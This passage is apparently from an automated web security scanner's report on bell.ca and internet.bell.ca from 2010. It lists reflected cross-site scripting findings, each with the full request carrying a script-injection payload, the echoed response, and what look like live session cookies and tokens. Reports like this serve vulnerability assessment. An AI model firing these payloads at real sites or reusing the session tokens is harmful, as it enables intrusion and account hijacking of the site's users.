f%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:49:07 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ndex.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif21135"><script>alert(1)</script>09c266a2042" />
...[SNIP]...

2.14. http://internet.bell.ca/index.cfm [path_requested parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the path_requested request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 874f9"><script>alert(1)</script>70a5d98c82 was submitted in the path_requested parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif874f9"><script>alert(1)</script>70a5d98c82 HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/script%3Eea5c675b356
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478575947%3B%20s_lv%3D1290476775951%7C1385084775951%3B%20s_lv_s%3DFirst%2520Visit%7C1290478575951%3B%20s_pv%3DShop%253AMobile%253ASmartphones%252C%2520phones%2520-%2520mobile%2520internet%253AProducts%2520details%7C1290478575972%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":4,"to":4.3,"c":"http://www.bell.ca/shopping/LG-Optimus-Quantumwith-Windows--Phone-7/70772.details","f":1290476775436,"lc":{"d0":{"v":2,"s":false}},"cd":0,"sd":0}; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; SMSESSION=DgnZRN+/N2PggGTzftM2LiaZPtOGYvEoty3jcRvX87is+/24awHyXezZZPIt1lThw5/ErSkBcQP96VmZQq3Q77KsktCjLN8Sxygv/jZ1/CtcDNQGBWVohm1MoHcpVVgo3Wpwf8e+e7NwuoyZRuLewT65G4cN6rwwU7EskcFm29MI29NBkKAaKOxS8aRtqBkFSbxEe5raIbBnJNwIO+bDgisjaM1pizKBscUvVdzpXY+XnoEtzhDE7Rj52I5s92IjzY82i4v4KyjAwpJ4RQpzRx2xOGcwc+KMRY9VKXiH6SvNK4NjFe1NSw==; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478621280%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.4.10.1290476758; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:49:00 GMT
Connection: close
Set-Cookie: SMSESSION=sjA4oB7wLmBVQiaSg3A5ZIhwGJaElaLnrXHMt5iAuRU5Rm3HO/y14UOqvlqJchI2MlgRzSifikgVqiw/Uc+tjhwcosDJkkMJLMxZYBkARx25U6cmlpWqKytuiQHfIIPOyHmE9swT7ROhXLneBagHYnHkngpXAls+z4qVKcgs3swKdRIYrEjzpoPH1+ufPVbXnFQC2OapHedLpYzyrJIuV/Tk5ue85WGKHGAyW1SiruwaDwpwdiEhwixzZ0DlmrMleCPwY9TVJz1iohvL84M3Bo26zzHZ5b8tkbqfJCdsozJli0jstaLGaA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:49:00 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:49:00 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:49:00 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:49:00 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:49:00 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:49:00 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:49:00 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:49:00 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:49:00 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:49:00 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ndex.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif874f9"><script>alert(1)</script>70a5d98c82" />
...[SNIP]...

2.15. http://www.bell.ca/accessibilityservices [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /accessibilityservices

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 83438'-alert(1)-'f71378ccadd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /accessibilityservices?83438'-alert(1)-'f71378ccadd=1 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; gemini=region=ON|province=ON|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; fsr.a=1290477168091; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Tue, 23 Nov 2010 01:56:25 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 20676

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<!-- GPN: QC_DC3CAV_4 -->


<!-- ABValue: true -->


   <html x
...[SNIP]...
gion) {
            location.href = 'http://www.bell.ca/accessibilityservices/PrsSN_Landing.page?regionToggle=true&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&83438'-alert(1)-'f71378ccadd=1&region=' + region + '&language=en';
        }
       
        //Function for external popups
        function gotoSite(thisUrl, thisWidth,thisHeight,thisTop,thisLeft) {
       
        var url = '/accessibi
...[SNIP]...

2.16. http://www.bell.ca/home/Home_L_Login.page [customLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /home/Home_L_Login.page

Issue detail

The value of the customLabel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ca04"%20style%3dx%3aexpression(alert(1))%204956a85d6f6 was submitted in the customLabel parameter. This input was echoed as 6ca04" style=x:expression(alert(1)) 4956a85d6f6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /home/Home_L_Login.page?language=en&languageToggle=true&customLabel=mobile.changerateplan6ca04"%20style%3dx%3aexpression(alert(1))%204956a85d6f6&refreshLink=https%3A//www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page%3FDirectAccess%3DchangeRatePlan HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; gemini=region=ON|province=ON|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; fsr.a=1290477168091; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Tue, 23 Nov 2010 01:56:50 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ61750%22a%3d%22b%2224a7239ea46|language=en; domain=.bell.ca; expires=Sunday, 11-Dec-2078 05:10:57 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Sunday, 11-Dec-2078 05:10:57 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ61750%22a%3d%22b%2224a7239ea46|language=en; domain=.bell.ca; expires=Sunday, 11-Dec-2078 05:10:57 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Sunday, 11-Dec-2078 05:10:57 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 77466


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
https://www.bell.ca/home/Home_L_Login.page?refreshLink=https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page?DirectAccess=changeRatePlan&loginFailed=true&customLabel=mobile.changerateplan6ca04" style=x:expression(alert(1)) 4956a85d6f6"/>
...[SNIP]...

2.17. http://www.bell.ca/home/Home_L_login.page [refreshLink parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.bell.ca
Path:   /home/Home_L_login.page

Issue detail

The value of the refreshLink request parameter is copied into an HTML comment. The payload e3c14-->e6e7c8b680 was submitted in the refreshLink parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /home/Home_L_login.page?ADV=login&refreshLink=https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page?DirectAccess=upgradePhonee3c14-->e6e7c8b680 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; gemini=region=ON|province=ON|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; fsr.a=1290477168091; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Tue, 23 Nov 2010 01:56:58 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 75554


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<!--### refreshLink=https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page?DirectAccess=upgradePhonee3c14-->e6e7c8b680 failLink=https://www.bell.ca/home/Home_L_Login.page?refreshLink=https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page?DirectAccess=upgradePhonee3c14-->
...[SNIP]...

2.18. http://www.bell.ca/home/Home_L_login.page [refreshLink parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /home/Home_L_login.page

Issue detail

The value of the refreshLink request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10b2e"%20style%3dx%3aexpression(alert(1))%203c61a76fde9 was submitted in the refreshLink parameter. This input was echoed as 10b2e" style=x:expression(alert(1)) 3c61a76fde9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /home/Home_L_login.page?ADV=login&refreshLink=https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page?DirectAccess=upgradePhone10b2e"%20style%3dx%3aexpression(alert(1))%203c61a76fde9 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; gemini=region=ON|province=ON|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; fsr.a=1290477168091; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Tue, 23 Nov 2010 01:56:58 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 76968


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<input type="hidden" name="refreshLink" value="https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page?DirectAccess=upgradePhone10b2e" style=x:expression(alert(1)) 3c61a76fde9"/>
...[SNIP]...

2.19. http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page [uid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShpWls_Solution_Builder.page

Issue detail

The value of the uid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5454f"%3balert(1)//92c5914b221 was submitted in the uid parameter. This input was echoed as 5454f";alert(1)//92c5914b221 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/PrsShpWls_Solution_Builder.page?createSolution=true&uid=5050795454f"%3balert(1)//92c5914b221 HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/shopping/PrsShpWls_RtpLanding.page
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A8%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478963514%3B%20s_lv%3D1290477163518%7C1385085163518%3B%20s_lv_s%3DFirst%2520Visit%7C1290478963518%3B%20s_pv%3DShop%253AMobile%253ARate%2520plans%253ARtplanding%7C1290478963538%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":7,"to":4.2,"c":"http://www.bell.ca/shopping/PrsShpWls_RtpLanding.page","f":1290477163379,"lc":{"d0":{"v":4,"s":true}},"cd":0,"sd":0,"pn":0}; 